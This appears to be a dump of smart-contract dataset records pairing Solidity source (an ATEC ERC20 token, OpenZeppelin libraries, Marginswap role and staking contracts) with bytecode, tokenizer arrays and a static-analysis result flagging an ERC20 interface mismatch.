[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,766
0x974e34a24cf2a9aed2386f41dea9117d309f9478
pragma solidity ^0.4.24; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenATEC { string public name = "ATEC"; string public symbol = "ATEC"; uint8 public decimals = 18; uint256 public totalSupply = 177000000 * 10 ** uint256(decimals); mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor() public { balanceOf[msg.sender] = totalSupply; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a7578063313ce567146101d157806342966c68146101fc57806370a082311461021457806379cc67901461023557806395d89b4114610259578063a9059cbb1461026e578063cae9ca5114610294578063dd62ed3e146102fd575b600080fd5b3480156100ca57600080fd5b506100d3610324565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a03600435166024356103b2565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103df565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103e5565b3480156101dd57600080fd5b506101e6610454565b6040805160ff9092168252519081900360200190f35b34801561020857600080fd5b5061016c60043561045d565b34801561022057600080fd5b50610195600160a060020a03600435166104d5565b34801561024157600080fd5b5061016c600160a060020a03600435166024356104e7565b34801561026557600080fd5b506100d36105b8565b34801561027a57600080fd5b50610292600160a060020a0360043516602435610612565b005b3480156102a057600080fd5b50604080516020600460443581810135601f810184900484028501840190955284845261016c948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506106219650505050505050565b34801561030957600080fd5b50610195600160a060020a036004358116906024351661073a565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b505050505081565b336000908152600560209081526040808320600160a060020a039590951683529390529190912055600190565b60035481565b600160a060020a038316600090815260056020908152604080832033845290915281205482111561041557600080fd5b600160a060020a038416600090815260056020908152604080832033845290915290208054839003905561044a848484610757565b5060019392505050565b60025460ff1681565b3360009081526004602052604081205482111561047957600080fd5b3360008181526004602090815260409182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a2506001919050565b60046020526000908152604090205481565b600160a060020a03821660009081526004602052604081205482111561050c57600080fd5b600160a060020a038316600090815260056020908152604080832033845290915290205482111561053c57600080fd5b600160a060020a0383166000818152600460209081526040808320805487900390556005825280832033845282529182902080548690039055600380548690039055815185815291517fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59281900390910190a250600192915050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103aa5780601f1061037f576101008083540402835291602001916103aa565b61061d338383610757565b5050565b60008361062e81856103b2565b15610732576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b838110156106c65781810151838201526020016106ae565b50505050905090810190601f1680156106f35780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561071557600080fd5b505af1158015610729573d6000803e3d6000fd5b50505050600191505b509392505050565b600560209081526000928352604080842090915290825290205481565b6000600160a060020a038316151561076e57600080fd5b600160a060020a03841660009081526004602052604090205482111561079357600080fd5b600160a060020a03831660009081526004602052604090205482810110156107ba57600080fd5b50600160a060020a038083166000818152600460209081526040808320805495891680855282852080548981039091559486905281548801909155815187815291519390950194927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a3600160a060020a0380841660009081526004602052604080822054928716825290205401811461085957fe5b505050505600a165627a7a72305820629906333979b3ae962ac3f8358930c729a6d7501a6c50a40db1d30bd6354fcb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2581, 2549, 2063, 22022, 2050, 18827, 2278, 2546, 2475, 2050, 2683, 6679, 2094, 21926, 20842, 2546, 23632, 3207, 2050, 2683, 14526, 2581, 2094, 14142, 2683, 2546, 2683, 22610, 2620, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 8278, 19204, 2890, 6895, 14756, 3372, 1063, 3853, 4374, 29098, 12298, 2389, 1006, 4769, 1035, 2013, 1010, 21318, 3372, 17788, 2575, 1035, 3643, 1010, 4769, 1035, 19204, 1010, 27507, 1035, 4469, 2850, 2696, 1007, 6327, 1025, 1065, 3206, 19204, 3686, 2278, 1063, 5164, 2270, 2171, 1027, 1000, 8823, 2278, 1000, 1025, 5164, 2270, 6454, 1027, 1000, 8823, 2278, 1000, 1025, 21318, 3372, 2620, 2270, 26066, 2015, 1027, 2324, 1025, 21318, 3372, 17788, 2575, 2270, 21948, 6279, 22086, 1027, 17711, 8889, 8889, 2692, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,767
0x974eDeCA326930C6924F7DDB2C083cAfcd1C7DD3
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "../interfaces/IDependencyController.sol"; // we chose not to go with an enum // to make this list easy to extend uint256 constant FUND_TRANSFERER = 1; uint256 constant MARGIN_CALLER = 2; uint256 constant BORROWER = 3; uint256 constant MARGIN_TRADER = 4; uint256 constant FEE_SOURCE = 5; uint256 constant LIQUIDATOR = 6; uint256 constant AUTHORIZED_FUND_TRADER = 7; uint256 constant INCENTIVE_REPORTER = 8; uint256 constant TOKEN_ACTIVATOR = 9; uint256 constant STAKE_PENALIZER = 10; uint256 constant LENDER = 11; uint256 constant FUND = 101; uint256 constant LENDING = 102; uint256 constant MARGIN_ROUTER = 103; uint256 constant CROSS_MARGIN_TRADING = 104; uint256 constant FEE_CONTROLLER = 105; uint256 constant PRICE_CONTROLLER = 106; uint256 constant ADMIN = 107; uint256 constant INCENTIVE_DISTRIBUTION = 108; uint256 constant TOKEN_ADMIN = 109; uint256 constant FEE_RECIPIENT = 110; uint256 constant DISABLER = 1001; uint256 constant DEPENDENCY_CONTROLLER = 1002; /// @title Manage permissions of contracts and ownership of everything /// owned by a multisig wallet (0xEED9D1c6B4cdEcB3af070D85bfd394E7aF179CBd) during /// beta and will then be transfered to governance /// https://github.com/marginswap/governance contract Roles is Ownable { mapping(address => mapping(uint256 => bool)) public roles; mapping(uint256 => address) public mainCharacters; constructor() Ownable() { // token activation from the get-go roles[msg.sender][TOKEN_ACTIVATOR] = true; } /// @dev Throws if called by any account other than the owner. modifier onlyOwnerExecDepController() { require( owner() == msg.sender || executor() == msg.sender || mainCharacters[DEPENDENCY_CONTROLLER] == msg.sender, "Roles: caller is not the owner" ); _; } function giveRole(uint256 role, address actor) external onlyOwnerExecDepController { roles[actor][role] = true; } function removeRole(uint256 role, address actor) external onlyOwnerExecDepController { roles[actor][role] = false; } function setMainCharacter(uint256 role, address actor) external onlyOwnerExecDepController { mainCharacters[role] = actor; } function getRole(uint256 role, address contr) external view returns (bool) { return roles[contr][role]; } /// @dev current executor function executor() public returns (address exec) { address depController = mainCharacters[DEPENDENCY_CONTROLLER]; if (depController != address(0)) { exec = IDependencyController(depController).currentExecutor(); } } } pragma solidity ^0.8.0; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "./TokenStaking.sol"; // https://docs.synthetix.io/contracts/source/contracts/stakingrewards contract Staking is ReentrancyGuard, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ TokenStaking immutable legacy; Staking immutable interim; IERC20 public immutable rewardsToken; IERC20 public immutable stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 30 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; uint256 public lockTime = 30 days; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => uint256) public stakeStart; mapping(address => bool) public migrated; uint256 constant MAX_WEIGHT = 3 * 10**19; uint256 public startingWeights; mapping(address => StakeAccount) public legacyStakeAccounts; uint256 public legacyCarry; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _rewardsToken, address _stakingToken, address legacyContract, address _interim ) Ownable() { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); legacy = TokenStaking(legacyContract); interim = Staking(_interim); } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() 